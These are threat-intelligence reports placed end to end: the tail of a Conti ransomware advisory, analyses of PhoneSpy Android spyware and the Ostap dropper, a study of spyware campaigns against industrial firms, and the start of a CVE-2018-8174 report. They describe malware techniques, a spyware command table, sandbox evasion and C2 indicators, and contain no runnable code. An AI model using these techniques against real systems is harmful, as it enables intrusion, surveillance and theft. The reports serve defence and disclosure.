T1135 | Conti ransomware can enumerate remote open server message block (SMB) network shares using NetShareEnum(). | | Remote Services: SMB/Windows Admin Shares | T1021.002 | Conti ransomware can spread via SMB and encrypts files on different hosts, potentially compromising an entire network. | | Taint Shared Content | T1080 | Conti ransomware can spread itself by infecting other remote machines via network shared drives. | | Data Encrypted for Impact | T1486 | Conti ransomware can use CreateIoCompletionPort(), PostQueuedCompletionStatus(), and GetQueuedCompletionPort() to rapidly encrypt files, excluding those with the extensions of .exe, .dll, and .lnk. It has used a different AES-256 encryption key per file with a bundled RAS-4096 public encryption key that is unique for each victim. | | Service Stop | T1489 | Conti ransomware can stop up to 146 Windows services related to security, backup, database, and email solutions through the use of net stop. | | Inhibit System Recovery | T1490 | Conti ransomware can delete Windows Volume Shadow Copies using vssadmin. | ## MITIGATIONS CISA, FBI, and NSA recommend that network defenders apply the following mitigations to reduce the risk of compromise by Conti ransomware attacks: - Use multifactor authentication. - Require multifactor authentication to remotely access networks from external sources. - Implement network segmentation and filter traffic. - Implement and ensure robust network segmentation between networks and functions to reduce the spread of ransomware. Define a demilitarized zone that eliminates unregulated communication between networks. - Filter network traffic to prohibit ingress and egress communications with known malicious IP addresses. - Enable strong spam filters to prevent phishing emails from reaching end users. Implement a user training program to discourage users from visiting malicious websites or opening malicious attachments. Filter emails containing executable files to prevent them from reaching end users. - Implement a URL blocklist and/or allowlist to prevent users from accessing malicious websites. - Scan for vulnerabilities and keep software updated. - Set antivirus/antimalware programs to conduct regular scans of network assets using up-to-date signatures. - Upgrade software and operating systems, applications, and firmware on network assets in a timely manner. Consider using a centralized patch management system. - Remove unnecessary applications and apply controls. - Remove any application not deemed necessary for day-to-day operations. Conti threat actors leverage legitimate applications—such as remote monitoring and management software and remote desktop software applications—to aid in the malicious exploitation of an organization’s enterprise. - Investigate any unauthorized software, particularly remote desktop or remote monitoring and management software. - Implement application allowlisting, which only allows systems to execute programs known and permitted by the organization's security policy. Implement software restriction policies (SRPs) or other controls to prevent programs from executing from common ransomware locations, such as temporary folders supporting popular internet browsers or compression/decompression programs. - Implement execution prevention by disabling macro scripts from Microsoft Office files transmitted via email. Consider using Office Viewer software to open Microsoft Office files transmitted via email instead of full Microsoft Office suite applications. - See the joint Alert, Publicly Available Tools Seen in Cyber Incidents Worldwide for guidance on detection and protection against malicious use of publicly available tools. - Implement endpoint and detection response tools. - Endpoint and detection response tools allow a high degree of visibility into the security status of endpoints and can help effectively protect against malicious cyber actors. - Limit access to resources over the network, especially by restricting RDP. - After assessing risks, if RDP is deemed operationally necessary, restrict the originating sources and require multifactor authentication. - Secure user accounts. - Regularly audit administrative user accounts and configure access controls under the principles of least privilege and separation of duties. - Regularly audit logs to ensure new accounts are legitimate users. - Review CISA’s APTs Targeting IT Service Provider Customers guidance for additional mitigations specific to IT Service Providers and their customers. - Use the Ransomware Response Checklist in case of infection. If a ransomware incident occurs at your organization, CISA, FBI, and NSA recommend the following actions: - Follow the Ransomware Response Checklist on the CISA-Multi-State Information Sharing and Analysis Center (MS-ISAC) Joint Ransomware Guide. - Scan your backups. If possible, scan your backup data with an antivirus program to check that it is free of malware. - Report incidents immediately to CISA, a local FBI Field Office, or U.S. Secret Service Field Office. - Apply incident response best practices found in the joint Advisory, Technical Approaches to Uncovering and Remediating Malicious Activity. CISA, FBI, and NSA strongly discourage paying a ransom to criminal actors. Paying a ransom may embolden adversaries to target additional organizations, encourage other criminal actors to engage in the distribution of ransomware, and/or may fund illicit activities. Paying the ransom also does not guarantee that a victim’s files will be recovered.
# PhoneSpy: The App-Based Cyberattack Snooping South Korean Citizens **November 10, 2021** **Aazim Yaswant** Update November 22, 2021: It has been determined that this specific campaign is no longer active. The command and control server has been taken down, and the infected devices are no longer under the control of the attackers. Many of the malware campaigns we have detected over the last year have been global in scale, targeting anyone with little regard to their location. Recently, we discovered and began monitoring the activity behind PhoneSpy, a spyware aimed at South Korean residents with Android devices. With more than a thousand South Korean victims, the malicious group behind this invasive campaign has had access to all the data, communications, and services on their devices. Unlike other spyware campaigns we have covered that take advantage of vulnerabilities on the device, PhoneSpy hides in plain sight, disguising itself as a regular application with purposes ranging from learning Yoga to watching TV and videos, or browsing photos. But in reality, the application is stealing data, messages, images, and remote control of Android phones. The data stolen from victim devices ranged from personal photos to corporate communications. The victims were broadcasting their private information to the malicious actors with zero indication that something was amiss. While the victims have been limited to South Korea, PhoneSpy is an example of how malicious applications can disguise their true intent. When installed on victims’ devices, they leave personal and corporate data at risk. With mobile devices playing critical roles in distributed and remote work, it is no surprise that spyware campaigns like PhoneSpy are on the rise. Samples of PhoneSpy were not found in any Android app store, indicating that attackers are using distribution methods based on web traffic redirection or social engineering. Once in control, the attackers can access the camera to take pictures, record video and audio, get precise GPS location, view pictures from the device, and more. Zimperium zLabs identified the PhoneSpy spyware app during routine threat research, and the zLabs team launched an investigation after identifying multiple related malicious applications. **Disclosure:** Due to the nature of this spyware campaign, Zimperium has notified and submitted all relevant threat data to US and South Korean authorities. The Zimperium team also reported to the host of the command and control server multiple times, offering support in a takedown of the malicious services. At the time of this writing, the PhoneSpy spyware campaign is still active. ## What Can PhoneSpy Spyware Do? The mobile application poses a threat to Android devices by functioning as an advanced Remote Access Trojan (RAT) that receives and executes commands to collect and exfiltrate a wide variety of data and perform a wide range of malicious actions, such as: - Complete list of the installed applications - Steal credentials using phishing - Steal images - Monitoring the GPS location - Steal SMS messages - Steal phone contacts - Steal call logs - Record audio in real-time - Record video in real-time using front & rear cameras - Access camera to take photos using front & rear cameras - Send SMS to attacker-controlled phone number with attacker-controlled text - Exfiltrate device information (IMEI, Brand, device name, Android version) - Conceal its presence by hiding the icon from the device’s drawer/menu Upon infection, the victim’s mobile device will transmit accurate GPS locational data, share photos and communications, contact lists, and downloaded documents with the command and control server. Similar to other mobile spyware we have seen, the data stolen from these devices could be used for personal and corporate blackmail and espionage. The malicious actors could then produce notes on the victim, download any stolen materials, and gather intelligence for other nefarious practices. ## How Does PhoneSpy Spyware Work? The PhoneSpy spyware disguises itself as various lifestyle apps targeting Korean-speaking users. It is most likely distributed through web traffic redirection or social engineering as it has not been detected in Android stores, including third-party or regional stores. After installation, the application requests permissions and opens a phishing page that imitates the login page of the popular South Korean messaging app “Kakao Talk” to steal credentials. The application follows the typical behavior of spyware by asking for permissions to exercise its capabilities. After installation and launch, the app displays a login page and attempts to steal the credentials for “Kakao” which can be used to log in to other services in South Korea with the Single-Sign-On feature. In most of the discovered applications, the application’s user/victim interaction is limited to the above sign-on, only to receive an error message. Many of the applications are facades of a real app with none of the advertised user-based functionality. In a few other cases, like simpler apps that advertise as photo viewers, the app will work as advertised all while the PhoneSpy spyware is working in the background. While these actions are taking place in the foreground, the spyware abuses its permissions and acts as a Remote Access Trojan, leaving the device open to access for the threat actors. The spyware makes sure to avoid data redundancy by only uploading the latest data created after the last upload. The command and control server stores all the exfiltrated data and maintains a communication channel with the infected devices to send commands. ### Command and Action Table | Command | Action | |---------|--------| | 0 | Upload phone information such as Phone.No, IMEI, Android version, and Model Name | | 1 | Upload the entire contacts list | | 2 | Delete a contact matching by phone number | | 3 | Upload all the SMS stored in the device | | 4 | Upload the latest call logs since the last upload | | 5 | Upload all the photos from the sdcard | | 6 | Upload all the videos from the sdcard | | 7 | Get real-time GPS location | | 8 | Send an SMS to a phone number with content, both as directed by the C&C server | | 9 | Take photos using the Front Camera & upload them to the C&C server | | 10 | Take photos using the Rear Camera & upload them to the C&C server | | 11 | Real-time video streaming using the Front camera | | 12 | Real-time video streaming using the Rear camera | | 13 | Set the duration for real-time audio recording | | 14 | Upload the recorded audio files | | 16 | Add call forwarding | | 17 | Remove call forwarding | | 18 | Update call forwarding | | 21 | Remove blocklisting of a phone number as directed by the C&C server | | 22 | Add blocklisting of a phone number as directed by the C&C server | | 24 | Collect the list of installed applications, including the icon, app version, package name, and update date. | | 25 | Uninstall an application matching by package name | | 28 | Download an apk from the link sent by the C&C server and install the application as an update | | 30 | Insert contact with name and phone number as directed by the C&C server | | 31 | Delete all the SMS stored in the infected device | | 32 | Delete all call logs stored in the infected device | | 33 | Open a URL sent by the C&C server used for harvesting credentials through phishing. | The command and control server has a web-based interface and is protected by an authentication mechanism using credentials. The application is capable of uninstalling any user-installed applications, including mobile security apps. The device’s precise location is available in real-time to the malicious actors, all without the victim knowing. The spyware also enables the threat actor to use phishing pages for harvesting credentials of Facebook, Instagram, Google, and Kakao Talk. The threat actor uses the command “33” to send a phishing URL to the device, and PhoneSpy loads the page. Any credentials typed into the forms are sent back to the command and control server. ## The Victims of the PhoneSpy Spyware Campaign The Zimperium zLabs mobile threat research team identified 23 applications targeting South Korean citizens to date, infecting thousands of victims to this spyware campaign. These malicious Android apps are designed to run silently in the background, constantly spying on their victims without raising any suspicion. We believe the malicious actors responsible for PhoneSpy have gathered significant amounts of personal and corporate information on their victims, including private communications and photos. Even though thousands of South Korean victims have fallen prey to the spyware campaign, it is unclear whether they have any connections with each other. But with the ability to download contact lists and send SMS messages on behalf of the victim, there is a high chance that the malicious actors are targeting connections of current victims with phishing links. ## Zimperium vs. PhoneSpy Spyware Zimperium zIPS customers are protected against PhoneSpy with our on-device z9 Mobile Threat Defense machine learning engine. Zimperium on-device phishing classifiers detect the traffic from the domain `https://acd.kcpro.ga` as malicious from inception with our machine learning-based technology, blocking all traffic to it and preventing attackers from taking effective control of any compromised devices. All the compromised and malicious applications found were also reviewed using Zimperium’s app analysis platform, z3A. All these apps returned reports of high privacy and security risks to the end-user. Zimperium administrators can create risk policies preventing users from installing high-risk apps like PhoneSpy. ### Key Privacy Risks Identified - Access to SMS messages, camera, call logs, contacts, and location, among others. - The capability of recording audio, video, and starting phone calls. - Use of MQTT library, which can be used to track the user. - Access device information such as phone number, device ID, if a call is active (and the phone number the call is being held with). - Tamper with calls, being able to modify the phone number being dialed. - Read/write access to the SD card. - Exposed API keys. ### Additional Risks - Exposed services with no permissions assigned. - WebView enabled, which can be used to execute JavaScript code. - Malware detected by z9 engine. - The app is built with the debug flag. - Use of system-level permissions and accessibility permissions. - Can modify WiFi connections. - Have the capability to perform overlay attacks (one of the main techniques used by Banker Trojans). To ensure your Android users are protected from PhoneSpy spyware, we recommend a quick risk assessment. Any application with PhoneSpy will be flagged as a Suspicious App Threat on the device and in the zConsole. Admins can also review which apps are sideloaded onto the device, increasing the mobile attack surface and leaving data and users at risk. ## PhoneSpy Spyware’s Impact on Global Enterprises The PhoneSpy Android spyware campaign puts enterprises at as much, if not more, risk than consumers. The rise of bring your own device (BYOD) policies has blurred the line between work and personal data, and any compromise to the security of an enterprise-connected device puts all corporate data at risk. Spyware such as PhoneSpy has the capabilities to read corporate messages, install compromised versions of enterprise applications, and download locally stored data like documents and photos without the enterprise or end user knowing. The capability to turn on the mobile camera and microphone during in-person meetings is also a high risk to businesses. These capabilities, mixed with the common framework and approach of PhoneSpy, can impact an enterprise’s security, reveal critical and private data, and lead to loss of customers, research, and data. ## Indicators of Compromise **C&C servers:** - 1.234.82[.]23 - 1.234.82[.]31 - 175.126.146[.]147 - `https://acd.kcpro.ga` **SHA-256 Hashes and Application Names:** - 1b762680c64d851151a829e2679c68b4ea19aa825b6fe3866a191bf3d30fac70 - Videos - 4afbbc8247f0622bb7f40beeaff38083fe1514233c0e545b4ac11e17896548a2 - Picture - 7ca71565ac1f57725606fd92033928fbd727b810cd507f9d7b0ca2c89853abcf - Secret - 45d26f6d4a98ea352aa4411b861ddbee388546326567ce893124bbc8a0d1817b - 영상 – videos - 84d3e71dc27f7adfb9c6ac628dd240498059b82ec211c99e8ec63e3bc26240ba - Daily Yoga - 95de5f5533e6f9a7562e50b4f68bd5ce71227f52a1a9c15ee734cdfb59b27f1d - 갤러리 – Gallery - 208d68c431d58e6d311ae0f2574fab85a1205fc1597e10690116bf406eb5499c - Vera - 3125ba3f8ad308f93ecc2e167d4f4ecfccc6a1212795ac615e593dceff1ca795 - 동영상 – Videos - 4687ef5f6b9398f2bf3ac84011afce3979145a42f29d35e8fd3ad1b086699952 - 갤러리 – Gallery - 58195ad6606265c2d5d34f9b17d81daafc0a65551d8b83d9669a7e96ede786c1 - 내꺼사진 – My Picture - 70176c319aa4ca24c4cbfdf2b80a8d5ca430fc8370e2515b79f3c3c52ed58dc1 - 음성지원 – Voice Support - 1568520923f992612163a69d074580885deec03f2727824407f0371cc295aec5 - Gallery - af5d676ceecd28c83b8962fc5db012cdada7812cddf856ae63f735a3efd695b7 - 갤러리 – Gallery - b3132e4cd475c381f2ec384b9055ee11ae80b529dcc78f03629106e2d12a50f6 - Vera - b3333e2542a8d407d7ed6a2f0930d4372a84c9f95478d72ba1d6999c1c4ce74f - 클라우드 – Cloud - beeb1010ca571221b0aa8604f1bf078331b06e378384f8651552b13aa20c9389 - 야동 – Porn - c6793fcb9c647d0439a5bbeec46b5e24afc1e55b8e980669b3c1726d6556c72a - Vera - cf03a179b2b8d6a85a6ad3e5cd7405fe9a99c6ce89c6635d8c5d34bc9889b2ba - Gallery - d4b6a0055fbaec51c6a2d5edd29eec7768a27b40a6da94223ded28df3726487d - 1004 Yoga - d797bf2b4fd7a2cd38da819996e57b39b89ad0e65a0d9633ea332d8234368ce3 - 갤러리 – Gallery - d4428d5eb4f746b3d136d4dbeb3907c82a9ac7fa18efd037d616f2f11dc235ac - 한나TV – Hannah TV - ef467f2389063e044237587ef12f8b0ae37d5b31c5b4efbf0928dfe5b648ed5a - Gallery - ef29420420802265d3958e05c33badad17d982309bd6f877d15475e64c793692 - 보안카메라 – Security Camera ## About Zimperium Zimperium provides the only mobile security platform purpose-built for enterprise environments. With machine learning-based protection and a single platform that secures everything from applications to endpoints, Zimperium is the only solution to provide on-device mobile threat defense to protect growing and evolving mobile environments. For more information or to schedule a demo, contact us today.
# Dropper Evolves to Botnet (2017) Malicious scripts, distributed via spam e-mails, have been getting more complex for some time. Usually, if you got an e-mail with a .js attachment, you could safely assume it’s just a simple dropper, which is limited to downloading and executing malware. Unfortunately, there is a growing number of campaigns these days, where the script doesn’t exit after downloading the sample. Instead of ending its life, it remains active, waiting for additional commands or more samples to fetch. Some examples are vjw0rm used in Vortex ransomware campaigns and Ostap – the main protagonist of our story. This article is an introduction to Backswap malware analysis, which is a second-stage malware downloaded by Ostap. Our analysis of Backswap malware will be published soon! Ostap has become a very popular malware worldwide, but the most interesting campaigns observed by CERT.pl occurred in Poland. It is mostly used for banking malware distribution. Currently, it distributes two banker families simultaneously: Nymaim and Backswap, which is actually slightly modified Tinba. Because both malware families are dropped at the same time, there is a specific correlation between them, noticed by ESET in their Backswap analysis. Analysis of both banker families can also be found on our webpage. Script is delivered as a compressed attachment (fake invoice). It has an .rar extension, but don’t be fooled – actually, it’s an ACE archive. This is a very usual technique, used to mislead some automatic analyzers, which identify a file type by its extension. Despite that, WinRAR is able to recognize the real archive format, so victims don’t have any problems executing the Ostap script using that software. The archive contains a JSE file, which is an encoded JScript. Because of the obfuscation method used (characteristic for this malware), the file is rather large and can exceed several hundred kilobytes in size. ## First Ostap Campaigns (2016) First campaigns were observed by CERT.pl in May 2016. In the first versions, Ostap was just a simple dropper, which uninstalls itself after completing its mission. The characteristic part was the obfuscation method mentioned before – strings were completed char-by-char using complex expressions evaluated by the JScript interpreter. During execution, the script performed a few actions: - Shows message "The document is corrupted and cannot be opened." - Adds itself to the Startup folder, which ensured automatic execution on logon (in case the file was not available immediately). - Tries to download and execute an EXE file from a specified URL. In case of failure, it tries again every 80 seconds. - After successful download and installation, it removes itself from Startup and deletes the downloaded file, ending its existence on the compromised host. At first, Ostap was just a simple dropper, but pretty characteristic (e.g., because of the add= argument containing campaign identifier, obfuscation, URL format). Samples downloaded by Ostap weren’t usually available immediately after the beginning of the campaign and were distributed only for a short period of time. Downloaded malware samples were usually bankers: KBot and Gozi ISFB. A month later, in June 2016, we found the next version of Ostap, sending additional information about the victim environment. The C&C address was slightly different and contained more fields: - hash from the Startup path and computer name (uid) - operating system version (based on Users substring existence in %HOMEPATH%) – ver - additional request was sent after successful download (out=1) C&C was delivering malware encoded in Base64. Ostap was performing some decoding using the built-in certutil command. Also, the new version contained some fail-safe methods of malware execution. Criminals were showing their (kind of) creativity, sometimes adding a bitmap file to ACE archives. A few months later, the script started to deliver various types of banking malware such as Tinba, Ramnit, or ISFB. Since then, Ostap (named after ostap.php script name) was slowly becoming a serious piece of malware. Because of the variety of samples and number of parallel campaigns, we began to suspect that Ostap is used as a distribution service and the delivered software is not associated with a single actor. From 2016, Ostap was getting more and more active. From the half of 2017, Ostap became more powerful. The first thing developed in the 2017 version were several anti-analysis techniques. ## Gathering Information About Execution Environment Before Ostap launches, the malware executes a WMI query, requesting for active processes list, user name, domain name, version of the operating system, etc. Output from sysInfo and procInfo is then concatenated. Then, Ostap looks for occurrences of several names characteristic for analysis tools and sandbox environments. If a characteristic name is found, Ostap calls document.alert method. Object document doesn’t exist in Windows Script Host context (it is seen only in web browsers), which raises an unhandled exception, stopping the execution. After gathering information from WMI, the script copies itself to Startup and goes to the main part. ## Communication with C&C (Downloading Malicious Samples) The URL pattern used by Ostap from 2017 was very similar. However, a few communication aspects changed from the 2016 version: - Request method changed from GET to POST. - Ostap sends fetched sysInfo+procInfo as request body. - Argument names were shortened (uid becomes u). C&C server sends additional information about blob format and method of sample execution: - File could be sent raw or Base64-encoded (Content-Transfer-Encoding was set to binary or base64). - There were a few methods of execution, based on you_god_damn_right HTTP response header value (actual name differs depending on the malware version). Possible values of you_god_damn_right are: - 0 – file is an update (replace the original script and execute, closing itself). - 1 – run DLL file (with secretFunction as entrypoint). - 2 – install software silently with Administrator privileges (MSI installer). By default, fetched files were run using cmd /c start <file path>. After successful installation, the script removes all files from the TEMP folder which were potentially associated with the fetched sample (.exe, .gop – base64 encoded, .txt, .log, *.jse – update). ## Destructive Propagation on Removable Media and Network Shares If the creation of a file after download was unsuccessful (file still doesn’t exist under the expected location), Ostap becomes more nasty than usual. At the beginning, the script prepares a list of files with specified extensions, which are located on removable media and mounted network shares. The list of files found is written to a temporary file saymyname.txt. Then, based on that list, all files are deleted and replaced by an Ostap copy (with preserved name and added .jse extension). The purpose was probably to “punish” incautious analysts, which can accidentally trigger that code by script modifications. ## Persistence Starting from 2017, Ostap doesn’t erase itself after successful download anymore. Using self-update capabilities, malware persists on the infected machine, serving banking malware from various families. The victim becomes a part of a distribution botnet. ## Current Version (2018) Currently, Ostap is one of the most active families targeting online banking customers in Poland. Malware code is being constantly developed and improved. The version from 2018 has added a few more methods of sandbox detection: - Malware doesn’t execute on Windows XP. - Ostap verifies the length of the process list (>1500 characters is needed, which was effective against emulation using tools like box-js). A few strings were added to the blacklist. If a sandbox substring was detected: - Malware executes ploha[‘show’](‘No more half-measures.’); which triggers an undefined variable exception (ploha doesn’t exist in the code). - If the exception is not raised (or handled externally), Ostap tries to terminate the script using WScript.Quit(). - If the script is still working, “destructive propagation” is activated. Destructive propagation has an additional condition now – if file creation was unsuccessful and a sandbox was detected without script termination, malware starts removing files. The URL address was also slightly changed. Now, the add parameter isn’t the campaign identifier – that role is taken over by DeretghrttLolookest75=awsedrftgyhujiko, which changes depending on the sample. In the latest version, the HTTP execution method header is also different: We_are_done_when_I_say_we_are_done, as well as the message displayed after executing the script for the first time, which changed to "PDF Error: The document could not be printed." ## Summary Ostap shows how a simple dropper script can evolve into real botnet malware. In summary, here is the listing of characteristic elements for Ostap malware: - Distribution via large-sized JSE files, delivered as ACE archives with .rar extension. - Message shown after the first execution of the script ("PDF Error: The document could not be printed."). - Characteristic script obfuscation method. - Persistence (self-update capabilities, adding itself to the Startup folder). - Unusual URL pattern `https://<ip[:port]>/<path>.php?<campaign_id1>=<campaign_id2>&add=james&(arguments…)`. ## Additional Information Example samples: - 2016-q64 - 2016-ostap - 2017 - 2018 Ostap was mentioned frequently in various articles (as “interesting dropper” or “JS/Nemucod”).
# Campaigns Abusing Corporate Trusted Infrastructure Hunt for Corporate Credentials on ICS Networks **January 19, 2022** In 2021, Kaspersky ICS CERT experts noticed a growing number of anomalous spyware attacks infecting ICS computers across the globe. Although the malware used in these attacks belongs to well-known commodity spyware families, these attacks stand out from the mainstream due to a very limited number of targets in each attack and a very short lifetime of each malicious sample. By the time the anomaly was detected, this had become a trend: around 21.2% of all spyware samples blocked on ICS computers worldwide in H1 2021 were part of this new limited-scope short-lifetime attack series. Depending on the region, up to one-sixth of all computers attacked with spyware were hit using this tactic. In the process of researching the anomaly, we noticed a large set of campaigns that spread from one industrial enterprise to another via hard-to-detect phishing emails disguised as the victim organizations’ correspondence, abusing their corporate email systems to attack through the contact lists of compromised mailboxes. Overall, we have identified over 2,000 corporate email accounts belonging to industrial companies abused as next-attack C2 servers as a result of successful malicious operations of this type. Many more (over 7,000 in our estimation) have been stolen and sold on the web or abused in other ways. ## “Anomalous” Spyware Attacks In 2021, we noticed a curious anomaly in statistics on spyware threats blocked on ICS computers. An analysis of 58,586 samples blocked in H1 2021 revealed that 12,420 (around 21.2%) of these samples had a sufficiently limited scope and short lifespan. It can be seen that the lifespan of the selected “anomalous” attacks is limited to about 25 days. The number of attacked computers is less than 100, of which 40-45% are ICS machines, while the rest are part of the same organizations’ IT infrastructure. Although each of these “anomalous” spyware samples is very short-lived and is not widely distributed, they account for a disproportionately large share of all spyware attacks. In Asia, for example, every sixth computer attacked with spyware was hit with one of the “anomalous” spyware samples. In Africa, the Middle East, Europe, Russia, Australia, New Zealand, and North America, about one spyware attack in ten involved one of the “anomalous” spyware samples. It seems that the ecosystem of commercial spyware attacks has launched a new and rapidly evolving series of campaigns, shrinking the size of each attack and limiting the use of each malware sample by quickly enforcing its replacement with a fresh-built one. ## Spyware Analysis As regards the spyware samples used in “anomalous” attacks on ICS computers in H1 2021, these are all the same breeds of commodity spyware such as Agent Tesla/Origin Logger, HawkEye, Noon/Formbook, Masslogger, Snake Keylogger, Azorult, Lokibot, etc. Most of the spyware samples blocked had multiple layers of obfuscation folded one into another. The technique is essentially based on hiding binary code into the resources of an application. Unlike generic spyware, the majority of “anomalous” samples were configured to use SMTP-based C2s as a one-way communication channel, which means that it was planned solely for theft. About 18.9% of all “anomalous” spyware was configured to connect to a server owned by some victim industrial enterprise. Almost all (99.8%) of the C2 servers found in the configuration of “anomalous” spyware samples were deployed in just three regions – Asia, Europe, and North America. We also noticed that the majority of C2s, including those deployed on abused infrastructure owned by industrial companies, were deployed on servers in North America. This was unexpected since 34.6% of attacked ICS computers belong to Asian companies. The analysis revealed that many mid-size industrial companies in Asia have their public-access infrastructure hosted on North American servers. ## Tactics, Techniques, and Procedures We believe that initially stolen data is used by threat operators primarily to spread the attack inside the local network of the attacked organization via phishing emails and to attack other organizations to collect more credentials. An analysis of source and destination addresses in phishing emails sent by threat operators reveals the tactics used to spread the attack from a compromised industrial enterprise to its business and operational partner organizations. An example of a phishing email sent by a threat operator as a result of abusing stolen credentials is shown below. The email was sent via the compromised organization’s email server from the compromised user’s account to targets taken from the compromised user’s contact list. Overall, as part of this research, we identified over 2,000 abused email accounts owned by industrial companies. We estimate the total number of corporate email accounts whose credentials were stolen as a result of these attacks to be over 7,000. For some actors, the next-stage activity involved attacking their victims using the business email compromise technique, which is designed to enable the attackers to commit fraud. Other actors focus on stealing credentials for sale, including credentials for personal financial services, social networks, and corporate network access services. Based on screenshots collected by spyware and other indirect evidence, we can state that some malware operators have a particular interest in industrial companies and their infrastructure. This interest can be explained by significant differences in the prices of different account types in web marketplaces. At this stage in our research, the “anomaly” discovered early on makes perfect sense: the “anomalous” samples we discovered are limited in scope and have a short lifespan because threat actors generate unique samples for each phishing email, which is usually limited to a subset of addresses from the previous-stage victim’s contact list. When a compromised email account is abused as a C2, the C2 traffic is normally detected by an antispam solution and moved to the spam folder, where it remains unnoticed until the folder is cleaned. Evading antispam detection is not in the interests of the malicious actors, as this would bring victims’ attention to C2 traffic, signaling compromise. ## Malware Operators An analysis of data on some malware operators covered by our research on “anomalous” spyware attacks has shed some light on the bigger picture of credential gathering campaigns run by hundreds of independent operators. Various spyware builders have a feature for testing the availability and accessibility of a C2 at the configuration phase. It can be seen that such messages can provide useful information about the infrastructure used by malware operators. It has been shown by other researchers that builder features can include sending certain data to the malware developer, which means that malware developers can use them to spy on their customers. The analysis has also revealed that many of these operators may be connected with African countries. ## Malware Developers and Spyware-as-a-Service Providers In the past 5 years, since the source code of some popular spyware programs was made public, it has become highly available in online shops in the form of a service. In some cases, what malware developers sell is not a malware builder but access to infrastructure preconfigured to build the malware, advertising additional services on top of it. Many spyware developers advertise their products on social networks, forums, and chats; they even make video tutorials. We have analyzed all available sources of information published by many malware developers. Further analysis of social networks, chats, and forums where these operators and developers communicate revealed that a significant proportion of these independent malware developers and service providers are likely to speak Russian and Turkish. ## Marketplaces Along with insights about the malware services used by threat operators, data on malware operators allows us to identify one of the routines used to monetize credential harvesting attacks – selling the stolen credentials in various marketplaces. Our analysis of services and marketplaces used by the malware operators showed that credential harvesting campaigns are a building block of a huge pipeline of various malicious services. In this research, we identified over 25 different marketplaces where data stolen in the credential gathering campaigns targeting industrial companies was being sold. At these markets, various sellers offer thousands of RDP, SMTP, SSH, cPanel, and email accounts, as well as malware, fraud schemes, and samples of emails and webpages for social engineering. A statistical analysis of metadata for over 50,000 compromised RDP accounts sold in marketplaces shows that 1,954 accounts (3.9%) belong to industrial companies. Statistics on compromised industrial enterprise accounts by country show that over 46% of accounts sold in marketplaces are owned by companies in the US, while the rest are located in Asia, Europe, and Latin America. ## Conclusion The implementation of security measures and controls in IT and OT infrastructures worldwide forces the cybercriminal ecosystem to evolve. One of the changes in the approaches of malicious actors is moving away from mass-scale attacks towards small-scale and very short-lived series of attacks. Another tactic was to propagate the attacks from inside the victim’s infrastructure, thereby “legitimizing” the phishing email traffic. Abusing legitimate mailboxes enables the actors to rapidly change their C2s and limit detection by network security solutions. This tactic has proved so effective that, depending on the region, it was used to attack up to one-sixth of all ICS computers attacked with spyware during H1 2021. According to our telemetry, more than 2,000 industrial organizations worldwide have been incorporated into the malicious infrastructure and used by cyber gangs to spread the attack to their contact organizations and business partners. The amount of data stolen from these accounts is hard to estimate. There are many ways in which this data can be abused, including by more devastating actors, such as ransomware gangs and APT groups. As an analysis of web marketplaces shows, the demand is highest for credentials that provide access to internal systems of enterprises. The supply seems to be meeting the demand, as we counted almost 2,000 RDP accounts for industrial enterprises being sold in marketplaces during the analysis period. ## Recommendations We recommend taking the following measures to ensure adequate protection of an industrial enterprise, its partner network operations, and business: - Consider implementing two-factor authentication for corporate email access and other internet-facing services. - Ensure that all endpoints, both on IT and OT networks, are protected with a modern endpoint security solution that is properly configured and kept up-to-date. - Regularly train personnel to handle incoming emails securely and protect their systems from malware. - Regularly check spam folders instead of just emptying them. - Monitor the exposure of your organization’s accounts to the web. - Consider using sandbox solutions designed to automatically test attachments in inbound email traffic. - Test attachments in outbound emails as well. ## Appendix I – Indicators of Compromise **Infrastructure IPs** - 105.112.101.7 - 105.112.102.213 - 105.112.107.100 - 105.112.109.252 - 105.112.113.164 - 105.112.113.250 - 105.112.114.120 - 105.112.115.230 - 105.112.115.4 - 105.112.117.199 - 105.112.121.59 - 105.112.144.173 - 105.112.144.56 - 105.112.144.77 - 105.112.145.6 - 105.112.147.156 - 105.112.147.20 - 105.112.148.252 - 105.112.148.60 - 105.112.150.35 - 105.112.178.164 - 105.112.26.202 - 105.112.32.44 - 105.112.33.155 - 105.112.33.233 - 105.112.33.40 - 105.112.35.117 - 105.112.37.192 - 105.112.37.193 - 105.112.37.222 - 105.112.38.173 - 105.112.38.201 - 105.112.38.218 - 105.112.38.249 - 105.112.39.130 - 105.112.39.167 - 105.112.41.0 - 105.112.41.149 - 105.112.46.233 - 105.112.46.38 - 105.112.50.73 - 105.112.50.80 **Authors** Kirill Kruglov Senior Research Developer, Kaspersky ICS CERT
# 奇虎360技术博客 分享奇虎360公司的技术,与安全的互联网共同成长。 ## 近期文章 ### Analysis of CVE-2018-8174 APT-C-06组织在全球范围内首例使用“双杀”0day漏洞(CVE-2018-8174)发起的APT攻击分析及溯源 #### I Overview Recently, the Advanced Threat Response Team of 360 Core Security Division detected an APT attack exploiting a 0-day vulnerability and captured the world’s first malicious sample that uses a browser 0-day vulnerability. We code named the vulnerability as “double kill” exploit. This vulnerability affects the latest version of Internet Explorer and applications that use the IE kernel. When users browse the web or open Office documents, they are likely to be potential targets. Eventually the hackers will implant backdoor Trojan to completely control the computer. In response, we shared with Microsoft the relevant details of the 0-day vulnerability in a timely manner. This APT attack was analyzed and attributed upon the detection and we now confirmed its association with the APT-C-06 Group. On April 18, 2018, as soon as 360 Core Security detected the malicious activity, we contacted Microsoft without any delay and submitted relevant details to Microsoft. Microsoft confirmed this vulnerability on the morning of April 20th and released an official security patch on May 8th. Microsoft has fixed the vulnerability and named it CVE-2018-8174. After the vulnerability was properly resolved, we published this report on May 9th, along with further technical disclosure of the attack and the 0-day. #### II A ection in China According to the sample data analysis, the attack affected regions in China are mainly distributed in provinces that actively involved in foreign trade. Victims include trade agencies and related organizations. #### III Attack Procedure Analysis The lure documents captured in this attack are in Hebrew. The attackers exploit office with OLE autolink objects (CVE-2017-0199) to embed the documents onto malicious websites. All the exploits and malicious payload were uploaded through remote servers. Notification in the pop-up window: Links to this document may reference other files. Do you want to update this document with the data in the linked file? Once victims opened the lure document, Word will firstly visit a remote website of IE vbscript 0-day (CVE-2018-8174) to trigger the exploit. Afterwards, Shellcode will be running to send several requests to get payload from remote servers. The payload will then be decrypted for further attack. While the payload is running, Word will release three DLL backdoors locally. The backdoors will be installed and executed through PowerShell and rundll32. UAC bypass was used in this process, as well as file steganography and memory reflection uploading, in order to bypass traffic detection and to complete loading without any files. #### IV IE VBScript 0-day (CVE-2018-8174) 1. **Timeline** On April 18, 2018, Advanced Threat Response 